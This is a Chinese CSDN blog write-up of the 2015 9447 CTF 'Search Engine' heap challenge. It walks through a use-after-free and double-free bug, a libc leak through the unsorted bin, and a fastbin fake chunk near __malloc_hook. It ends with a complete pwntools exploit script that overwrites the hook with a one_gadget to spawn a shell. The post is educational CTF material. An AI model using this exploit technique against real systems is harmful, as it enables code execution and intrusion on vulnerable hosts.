Arbitrary Alloc 2015 9447 CTF:Search Engine

文章详细介绍了如何通过分析一个CTF挑战(SearchEngine)中的heap管理漏洞,利用fastbin攻击和内存泄露来操纵内存分配,最终实现对`malloc_hook`的控制,进一步执行onegadgetexploit获取shell。
摘要由CSDN通过智能技术生成

Arbitrary Alloc 2015 9447 CTF:Search Engine

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2015_9447ctf_search-engine

grxer@Ubuntu16 ~/D/p/heap> checksec search 
[*] '/home/grxer/Desktop/pwn/heap/search'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

这道题静态分析起来挺复杂的,自定义的输入函数,各种阻力,最后配合gdb动态才搞明白

index_sentence()读取用户输入size长度的sentence,他还会用下面的结构把每个句子的单词分开构成一个单链表,单链表的content是从sentence地址上原数据地址,表头在0x6020B8,单链表表头是最后一个单词

00000000 word_struct     struc ; (sizeof=0x28, mappedto_6)
00000000 content         dq ?单词
00000008 size            dd ?单词
0000000C padding1        dd ?
00000010 sentence_ptr    dq ?句子                 ; offset
00000018 len             dd ?整个句子
0000001C padding2        dd ?
00000020 next            dq ?                    ; offset
00000028 word_struct     ends

这里由于空间复用其实heap manger给我们0x30大小chunk

search_word()读取一个输入长度比较i->size == num && !memcmp(i->content, v1, num)

          memset(i->sentence_ptr, 0, i->len);
          free(i->sentence_ptr);
          puts("Deleted!");

这里找到之前把整个句子都给置零了,也没有free后置null,但是我们的struct地址都还在用,就从这里开始把

unsorted bin泄露libc

smallbin_sentence = 'a' * 0x85 + ' b'
index_sentence(smallbin_sentence)
search_word(b'b')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
search_word(b'\x00')

我们这样会申请到三个堆,一个sentence两个word,‘ b’->‘a’*0x85,我们search(‘b’),释放掉sentence堆,这个时候申请到的chunk大小0x90超过了fastbin,进入unsortbin,unsorted bin是个双向循环列表所以释放chunk的fd和bk会填上,unsortedbin的开始

在这里插入图片描述

由于释放后单链表还存在我们再次search,if ( *i->sentence_ptr )i->sentence_ptr是sentence chunk的fd指针被填上了unsorted bin绕过,为了绕过i->size == num && !memcmp(i->content, v1, num),第一个我们的size还是1,由于memset(i->sentence_ptr, 0, i->len)会把整个句子置零,搜索0即可绕过,fwrite(i->sentence_ptr, 1uLL, i->len, stdout);会配合我们输出处bk和fd

unsorted bin地址距离main_arena,main_arena是glibc里的一个全局变量,偏移固定0x3C4B20,所以我们可以得到libc

fastbin循环链表

由于free后没有置零,我们可以doublefree,构成循环链表

index_sentence(b'a' * 0x5e + b' d')
index_sentence(b'b' * 0x5e + b' d')
index_sentence(b'c' * 0x5e + b' d')
# gdb.attach(io)
search_word('d')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')

都free后a->b->c->0

在这里插入图片描述

io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')  #b
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'n')  #a
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline(b'n')  #first chunk

再次free,这里的c是过不了if ( *i->sentence_ptr )检测的因为他是第一个释放的chunk,fastbin单链表只使用fd执行单向链接,所以她的fd为0

只需要将b释放这样b->fd指向a,且a的fd指向b,循环链表

在这里插入图片描述

字节错位 Arbitrary Alloc and malloc hook

有了循环链表我们就可以伪造或者找一个fakechunk进行申请

有了main_arena地址后,我们想mallochook,malloc__hook在main_arean的上面是0x10字节处,

在这里插入图片描述

我们直接用find_fake_fast在上面利用字节错位找到一个chunk

在这里插入图片描述

在这里插入图片描述

fakechunk偏移为main_arean的上面-0x33

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

这里0x7f fastbin_index后为5,0x70的chunk,这里由于fastbin是分组的单链表,只有相同大小的freechunk才会构成单链表,所以我们需要在前面构成循环链表的大小为0x70,即申请0x60,同时我们需要在申请0x60大小申请到这个fakechunk

fastbinsY[]x86(size_t=4)x64(size_t=8)
00x100x20
10x180x30
20x200x40
30x280x50
40x300x60
50x380x70
60x400x80
fakechunk=main_arena-0x33
fake_chunk = p64(fakechunk).ljust(0x60,b'\x00')
index_sentence(fake_chunk)

这次会申请到b,这样我们可以控制b的fd指针为fakechunk

在这里插入图片描述

再申请两次0x60大小chunk就可以申请到fakechunk

fakechunk距离malloc_hook0x23,我们是往fakechunk+0x10写数据,所以需要0x13大小padding

写入onegadget

grxer@grxer ~/Desktop> one_gadget ./libc-2.23.so 
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
index_sentence(b'a' * 0x60)
index_sentence(b'b' * 0x60)
one_gadget_addr = libc + 0xf1247
payload = b'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, b'\x00')
index_sentence(payload)

拿到shell,跑路喽

在这里插入图片描述

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./search'
elf = ELF(pwnfile)
rop = ROP('/lib/x86_64-linux-gnu/libc.so.6')
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def index_sentence(s):
    io.recvuntil(b"3: Quit\n")
    io.sendline(b'2')
    io.recvuntil(b"Enter the sentence size:\n")
    io.sendline(str(len(s)).encode())
    io.send(s)

def search_word(word):
    io.recvuntil(b"3: Quit\n")
    io.sendline(b'1')
    io.recvuntil(b"Enter the word size:\n")
    io.sendline(str(len(word)).encode())
    io.send(word)
# db('b *0x400B41')#judge
# db('b *0x0400B41')# rcx
# db('b *0x400BED')
smallbin_sentence = b'a' * 0x85 + b' b'
index_sentence(smallbin_sentence)
search_word(b'b')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
search_word(b'\x00')
io.recvuntil(b'Found 135: ')
unsortbin_addr = u64(io.recv(8))
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline('n')
main_arena=unsortbin_addr-88
libc=main_arena-0x3C4B20
p('libc',libc)
index_sentence(b'a' * 0x5e + b' d')
index_sentence(b'b' * 0x5e + b' d')
index_sentence(b'c' * 0x5e + b' d')
# gdb.attach(io)
search_word('d')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')
# gdb.attach(io)
search_word(b'\x00')
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'y')  #b
io.recvuntil(b'Delete this sentence (y/n)?\n')
io.sendline(b'n')  #a
io.recvuntil('Delete this sentence (y/n)?\n')
io.sendline(b'n')  #first chunk
# gdb.attach(io)
fakechunk=main_arena-0x33
fake_chunk = p64(fakechunk).ljust(0x60,b'\x00')
index_sentence(fake_chunk)
# gdb.attach(io)
index_sentence(b'a' * 0x60)
index_sentence(b'b' * 0x60)
one_gadget_addr = libc + 0xf1247
payload = b'a' * 0x13 + p64(one_gadget_addr)
payload = payload.ljust(0x60, b'\x00')
index_sentence(payload)
io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值